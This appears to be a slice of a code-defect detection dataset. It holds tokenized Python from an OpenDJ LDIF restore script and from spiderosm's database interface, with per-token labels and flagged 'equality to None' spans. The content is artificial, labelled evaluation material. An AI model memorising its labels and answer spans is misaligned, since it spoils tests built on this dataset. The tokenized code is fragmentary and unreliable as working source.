"\\u\\u\\uNL\\u\\u\\u_", "stop", "Open", "DJ", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copy", "Files_", "(_", "backup", "23", "\\u", "folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "Open", "DJ", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "get", "New", "Config_", "(_", "new", "Ld", "if_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "restore", "Config_", "(_", "ldif", "\\u", "folder_", ",_", "new", "Ld", "if_", ",_", "output", "Ld", "if", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "upload", "LD", "IF_", "(_", "ldif", "\\u", "folder_", ",_", "output", "Ld", "if", "Folder_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Output_", "(_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log", "It_", "(_", "\"", "Run", "ning", " ", "command", " ", ":", " ", "%", "s", "\"_", "%_", "\"", " ", "\"_", "._", "join_", "(_", "args_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "os_", "._", "popen_", "(_", "\"", " ", "\"_", "._", "join_", "(_", "args_", ")_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log", "It_", "(_", "\"", "Error", " ", "runn", "ing", " ", "command", " ", ":", " ", "%", "s", "\"_", "%_", "\"", " ", "\"_", "._", "join_", "(_", "args_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "restore", "Config_", "(_", "ldif", "Folder_", ",_", "new", "Ld", "if_", ",_", "ldif", "Mod", "Folder_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ignore", "List_", "=_", "[_", "'", "object", "Class", "'_", ",_", "'", "ou", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "current", "\\u", "config", "\\u", "dns_", "=_", "get", "Dn", "s_", "(_", "new", "Ld", "if_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "Dn", "Map_", "=_", "get", "Old", "Entr", "y", "Map_", "(_", "ldif", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dn_", "in_", "old", "Dn", "Map_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "old", "\\u", "entry_", "=_", "get", "Entry_", "(_", "\"%", "s", "/", "%", "s", "\"_", "%_", "(_", "ldif", "Folder_", ",_", "old", "Dn", "Map_", "[_", "dn_", "]_", ")_", ",_", "dn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dn_", "not_", "in_", "current", "\\u", "config", "\\u", "dns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "Entry_", "(_", "dn_", ",_", "old", "\\u", "entry_", ",_", "ldif", "Mod", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "entry_", "=_", "get", "Entry_", "(_", "new", "Ld", "if_", ",_", "dn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "attr_", "in_", "old", "\\u", "entry_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "attr_", "in_", "ignore", "List_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "new", "\\u", "entry_", "._", "has", "\\u", "key_", "(_", "attr_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "write", "Mod_", "(_", "dn_", ",_", "attr_", ",_", "old", "\\u", "entry_", "[_", "attr_", "]_", ",_", "'%", "s", "/", "%", "s", ".", "ldif", "'_", "%_", "(_", "ldif", "Mod", "Folder_", ",_", "str_", "(_", "uuid_", "._", "uuid4_", "(_", ")_", ")_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "It_", "(_", "\"", "Add", "ing", " ", "attr", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "attr_", ",_", "dn_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mod", "\\u", "list_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "old", "\\u", "entry_", "[_", "attr_", "]_", "!=_", "new", "\\u", "entry_", "[_", "attr_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "len_", "(_", "old", "\\u", "entry_", "[_", "attr_", "]_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "log", "It_", "(_", "\"", "Mer", "ging", " ", "json", " ", "value", " ", "for", " ", "%", "s", " ", "\"_", "%_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "old", "\\u", "json_", "=_", "json_", "._", "loads_", "(_", "old", "\\u", "entry_", "[_", "attr_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "json_", "=_", "json_", "._", "loads_", "(_", "new", "\\u", "entry_", "[_", "attr_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "json_", "=_", "merge_", "(_", "new", "\\u", "json_", ",_", "old", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "\\u", "list_", "=_", "[_", "json_", "._", "dumps_", "(_", "new", "\\u", "json_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "mod", "\\u", "list_", "=_", "old", "\\u", "entry_", "[_", "attr_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "mod", "\\u", "list_", "=_", "old", "\\u", "entry_", "[_", "attr_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "It_", "(_", "\"", "Keep", "ing", " ", "multiple", " ", "old", " ", "values", " ", "for", " ", "%", "s", "\"_", "%_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "write", "Mod_", "(_", "dn_", ",_", "attr_", ",_", "mod", "\\u", "list_", ",_", "'%", "s", "/", "%", "s", ".", "ldif", "'_", "%_", "(_", "ldif", "Mod", "Folder_", ",_", "str_", "(_", "uuid_", "._", "uuid4_", "(_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "walk", "\\u", "function_", "(_", "a_", ",_", "dir_", ",_", "files_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "file_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "file_", "in_", "ignore", "\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fn_", "=_", "\"%", "s", "/", "%", "s", "\"_", "%_", "(_", "dir_", ",_", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "Fn_", "=_", "fn_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "target", "Fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "target", "Fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "It", "'", "s", " ", "a", " ", "file", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log", "It_", "(_", "\"", "copy", "ing", " ", "%", "s", "\"_", "%_", "target", "Fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutil_", "._", "copyfile_", "(_", "fn_", ",_", "target", "Fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log", "It_", "(_", "\"", "Error", " ", "copy", "ing", " ", "%", "s", "\"_", "%_", "target", "Fn_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
mharnold/spiderosm/spiderosm/dbinterface.py
[ { "content": " def write_row(self, table, col_specs, row, srid=None):\n if not srid: srid=self.srid\n col_specs = colspecs.fix(col_specs)\n\n def code_value(col_name, col_type, value, ref):\n if col_type == 'POINT':\n return (self.code_point(value,srid),None)\n if col_type == 'LINESTRING':\n return (self.code_linestring(value,srid),None)\n if col_type == 'TEXT':\n if not isinstance(value,basestring): value = str(value)\n return (ref, value)\n return (ref, value)\n\n # create row dictionary\n if isinstance(row,dict):\n rowd = row.copy()\n else:\n # is this even used?\n assert len(row) == len(col_specs)\n rowd = {}\n for i in range(len(col_specs)): rowd[col_specs[i][2]] = row[i]\n\n # col and value list strings\n columns = []\n values = []\n parms = []\n for col_name,col_type,prop_name in col_specs:\n if not prop_name in rowd.keys(): continue\n value = rowd[prop_name]\n if value == None: continue\n columns.append( '\"' + col_name + '\"')\n (value,parm) = code_value(col_name, col_type, value, self._interpolation_ref)\n values.append(value)\n if parm!=None: parms.append(parm)\n \n columns = ','.join(columns)\n values = ','.join(values)\n\n # create sql template for row\n sql_template = ''' \n INSERT INTO %(table)s \n\t\t (%(columns)s)\n VALUES\n\t\t (%(values)s);\n ''' % {\n 'table':table,\n 'columns':columns,\n 'values': values\n }\n\n # and execute sql\n #print 'DEB sql_template:', sql_template\n self.exec_sql(sql_template,parms)", "metadata": "root.DatabaseInterface.write_row", "header": "['class', 'DatabaseInterface', '(', 'object', ')', ':', '___EOS___']", "index": 117 }, { "content": " def test(self,verbose=True):\n PREFIX = 'spiderosm_test_'\n TABLE1 = PREFIX + '1_'\n TABLE2 = PREFIX + '2_'\n TABLE_SEGS = PREFIX + 'segs_'\n TABLE_JCTS = PREFIX + 'jcts_'\n\n ref = self._interpolation_ref\n\tself.exec_sql('drop table if exists %s' % TABLE1)\n self.exec_sql('create table %s (\"a:f1\" text, other integer, test_key serial primary key)' % TABLE1)\n self.exec_sql('insert into %s (\"a:f1\", other) values (%s, %s)' % (TABLE1,ref,ref),\n ('''foo's\"''', 1))\n self.exec_sql('''insert into %s (\"a:f1\", other) values ('bar', 5)''' % TABLE1)\n self.exec_sql('''insert into %s (\"a:f1\") values ('zar')''' % TABLE1)\n\ttable = self.get_table(TABLE1)\n\n\tassert len(table)==3\n\tassert table[1]['other']==5\n assert table[2]['a:f1']=='zar'\n\tassert len(table) == self.get_num_rows(TABLE1)\n col_names = self.get_column_names(TABLE1)\n assert col_names == ['a:f1', 'other', 'test_key']\n # another way to get col_names (but in random order)\n assert len(table[0].keys()) == 3\n\n #add_geometry_column\n self.add_geometry_column(TABLE1,'geometry','POINT')\n assert self.get_column_names(TABLE1) == ['a:f1', 'geometry', 'other', 'test_key']\n\n # write_table \n col_specs = [('id', 'BIGINT'), ('a:name', 'TEXT'), ('length', 'FLOAT'), ('geometry', 'POINT')]\n rows = []\n rows.append({ 'id':1, 'a:name':'dianna', 'length':5.3})\n rows.append({ 'id':2, 'a:name':'nathan'})\n rows.append([3,'michael',5.10, (-122.0, 38.0)])\n rows.append({ 'id':4, 'a:name':None, 'length':100 })\n\n self.write_table(TABLE2, col_specs, rows)\n assert self.get_column_names(TABLE2) == ['a:name', 'geometry', 'id', 'length']\n\n rowsr = self.get_table(TABLE2)\n assert len(rowsr) == 4\n assert rowsr[0]['a:name'] == 'dianna'\n assert rowsr[2]['id'] == 3\n assert rowsr[1]['length'] == None\n\n # geo\n geometry = geojson.Point((-122.0,38.0))\n ls = geojson.LineString([(-122,38),(-122,39)])\n features = [\n geojson.Feature(geometry=geometry, id=1, properties={'name':'john','addr':1212, 'gpa':3.5}),\n geojson.Feature(geometry=geometry, id=2, properties={'fish':'salmon', 'addr':'sea', 'gpa':3, 'foo':None}),\n geojson.Feature(geometry=ls, id=10, properties={'other':10}),\n geojson.Feature(geometry=geometry, id=3, properties={'num':2**40}),\n geojson.Feature(geometry=geometry, id=4, properties={'Num':2}),\n geojson.Feature(geometry=geometry, id=5, properties={'NUM':'many'})\n ]\n geo = geojson.FeatureCollection(features)\n \n #write_geo\n self.write_geo(geo, TABLE_SEGS, geometry_type='LineString')\n self.write_geo(geo, TABLE_JCTS, geometry_type='Point')\n \n # table_names\n table_names = self.get_table_names()\n\n #print 'table_names:',table_names\n assert TABLE1 in table_names\n\n # check for spatial extension\n assert 'spatial_ref_sys' in self.get_table_names()\n\n # check for srid\n rows = self.select('*','spatial_ref_sys','srid=%d'%self.srid)\n assert len(rows) == 1\n\n # clean up\n self.drop_table(TABLE1)\n self.drop_table(TABLE2)\n self.drop_table(TABLE_SEGS)\n self.drop_table(TABLE_JCTS)\n \n self.commit()", "metadata": "root.DatabaseInterface.test", "header": "['class', 'DatabaseInterface', '(', 'object', ')', ':', '___EOS___']", "index": 258 } ]
[ { "span": "value == None:", "start_line": 147, "start_column": 15, "end_line": 147, "end_column": 28 }, { "span": "rowsr[1]['length'] == None", "start_line": 302, "start_column": 15, "end_line": 302, "end_column": 41 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Databa", "se", "Interface_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "row_", "(_", "self_", ",_", "table_", ",_", "col", "\\u", "specs_", ",_", "row_", ",_", "srid_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "srid_", ":_", "srid_", "=_", "self_", "._", "srid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "\\u", "specs_", "=_", "colsp", "ecs_", "._", "fix_", "(_", "col", "\\u", "specs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "code", "\\u", "value_", "(_", "col", "\\u", "name_", ",_", "col", "\\u", "type_", ",_", "value_", ",_", "ref_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "col", "\\u", "type_", "==_", "'", "POINT", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "self_", "._", "code", "\\u", "point_", "(_", "value_", ",_", "srid_", ")_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "col", "\\u", "type_", "==_", "'", "LINES", "TRING", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "(_", "self_", "._", "code", "\\u", "linest", "ring_", "(_", "value_", ",_", "srid_", ")_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "col", "\\u", "type_", "==_", "'", "TEXT", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "value_", ",_", "basestring_", ")_", ":_", "value_", "=_", "str_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "ref_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "ref_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "row", " ", "dictionary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "row_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "row", "d_", "=_", "row_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "is", " ", "this", " ", "even", " ", "used", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "len_", "(_", "row_", ")_", "==_", "len_", "(_", "col", "\\u", "specs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "row", "d_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "col", "\\u", "specs_", ")_", ")_", ":_", "row", "d_", "[_", "col", "\\u", "specs_", "[_", "i_", "]_", "[_", "2_", "]_", "]_", "=_", "row_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "col", " ", "and", " ", "value", " ", "list", " ", "strings_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "columns_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parms_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "col", "\\u", "name_", ",_", "col", "\\u", "type_", ",_", "prop", "\\u", "name_", "in_", "col", "\\u", "specs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "prop", "\\u", "name_", "in_", "row", "d_", "._", "keys_", "(_", ")_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "row", "d_", "[_", "prop", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "==_", "None_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "columns_", "._", "append_", "(_", "'\"'_", "+_", "col", "\\u", "name_", "+_", "'\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "value_", ",_", "parm_", ")_", "=_", "code", "\\u", "value_", "(_", "col", "\\u", "name_", ",_", "col", "\\u", "type_", ",_", "value_", ",_", "self_", "._", "\\u", "interpolati", "on", "\\u", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "._", "append_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "parm_", "!=_", "None_", ":_", "parms_", "._", "append_", "(_", "parm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "columns_", "=_", "','_", "._", "join_", "(_", "columns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "','_", "._", "join_", "(_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "sql", " ", "template", " ", "for", " ", "row_", "\\u\\u\\uNL\\u\\u\\u_", "sql", "\\u", "template_", "=_", "'''", " ", "\\", "10", ";", " ", " ", "INSERT", " ", "INT", "O", " ", "%", "(", "table", ")", "s", " ", "\\", "10", ";", "\t", "\t ", " ", "(%", "(", "column", "s", ")", "s", ")", "\\", "10", ";", " ", " ", "VALU", "ES", "\\", "10", ";", "\t", "\t ", " ", "(%", "(", "values", ")", "s", ");", "\\", "10", ";", " ", " ", "'''_", "%_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "table", "'_", ":_", "table_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "column", "s", "'_", ":_", "columns_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "values", "'_", ":_", "values_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "execute", " ", "sql_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "'", "DEB", " ", "sql", "\\u", "template", ":'", ",", " ", "sql", "\\u", "template_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "exec", "\\u", "sql_", "(_", "sql", "\\u", "template_", ",_", "parms_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Databa", "se", "Interface_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test_", "(_", "self_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "PREFIX_", "=_", "'", "spider", "osm", "\\u", "test\\u", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TAB", "LE", "1_", "=_", "PREFIX_", "+_", "'", "1", "\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TAB", "LE", "2_", "=_", "PREFIX_", "+_", "'", "2", "\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TAB", "LE", "\\u", "SEG", "S_", "=_", "PREFIX_", "+_", "'", "seg", "s", "\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TAB", "LE", "\\u", "JC", "TS_", "=_", "PREFIX_", "+_", "'", "jc", "ts", "\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ref_", "=_", "self_", "._", "\\u", "interpolati", "on", "\\u", "ref_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "exec", "\\u", "sql_", "(_", "'", "drop", " ", "table", " ", "if", " ", "exist", "s", " ", "%", "s", "'_", "%_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "exec", "\\u", "sql_", "(_", "'", "create", " ", "table", " ", "%", "s", " ", "(\"", "a", ":", "f1", "\"", " ", "text", ",", " ", "other", " ", "integ", "er", ",", " ", "test\\u", "key", " ", "serial", " ", "primary", " ", "key", ")'_", "%_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "exec", "\\u", "sql_", "(_", "'", "insert", " ", "int", "o", " ", " ", "%", "s", " ", "(\"", "a", ":", "f1", "\",", " ", "other", ")", " ", "values", " ", "(%", "s", ",", " ", "%", "s", ")'_", "%_", "(_", "TAB", "LE", "1_", ",_", "ref_", ",_", "ref_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'''", "foo", "'", "s", "\"'''", "_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "exec", "\\u", "sql_", "(_", "'''", "insert", " ", "int", "o", " ", "%", "s", " ", "(\"", "a", ":", "f1", "\",", " ", "other", ")", " ", "values", " ", "('", "bar", "',", " ", "5", ")'''_", "%_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "exec", "\\u", "sql_", "(_", "'''", "insert", " ", "int", "o", " ", "%", "s", " ", "(\"", "a", ":", "f1", "\")", " ", "values", " ", "('", "zar", "')", "'''_", "%_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "self_", "._", "get", "\\u", "table_", "(_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "table_", ")_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "table_", "[_", "1_", "]_", "[_", "'", "other", "'_", "]_", "==_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "table_", "[_", "2_", "]_", "[_", "'", "a", ":", "f1", "'_", "]_", "==_", "'", "zar", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", 